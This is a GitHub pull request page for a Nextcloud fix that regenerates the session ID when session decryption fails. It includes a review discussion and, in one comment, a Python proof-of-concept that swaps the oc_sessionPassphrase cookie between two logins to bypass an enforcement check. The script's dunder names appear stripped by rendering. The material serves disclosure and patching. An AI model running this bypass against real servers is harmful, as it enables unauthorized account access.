-
-
Notifications
You must be signed in to change notification settings - Fork 4.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Generate a new session id if the decrypting the session data fails #24550
Conversation
Signed-off-by: Roeland Jago Douma <roeland@famdouma.nl>
@@ -87,6 +87,7 @@ protected function initializeSession() { | |||
); | |||
} catch (\Exception $e) { | |||
$this->sessionValues = []; | |||
$this->regenerateId(true, false); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Those are the default values, so skip?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd rather be explicit here
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#!/usr/bin/python3
python3 -m pip install requests beautifulsoup4
python3 bypass.py
from requests import Session
from bs4 import BeautifulSoup
class NextCloud(object):
def init(self, baseURL):
self.session = Session()
self.baseURL = baseURL
def login(self, data):
response = self.session.get(f'{self.baseURL}/login')
soup = BeautifulSoup(response.text, 'html.parser')
data.update({
'requesttoken': soup.find('head')['data-requesttoken']
})
self.session.post(f'{self.baseURL}/login', data = data)
def getCookies(self):
return self.session.cookies.get_dict()
if name == 'main':
baseURL = 'http://nextcloud.diefunction.local'
data = {
'user': 'bypass',
'password': 'NextCloudEnforcement'
}
firstSession = NextCloud(baseURL)
secondSession = NextCloud(baseURL)
firstSession.login(data)
secondSession.login(data)
cookies = firstSession.getCookies()
cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
print(f'[Cookies] {cookies}') # change your browser cookies to bypass enforcement
/backport to stable20 |
/backport to stable19 |
/backport to stable18 |
Signed-off-by: Roeland Jago Douma roeland@famdouma.nl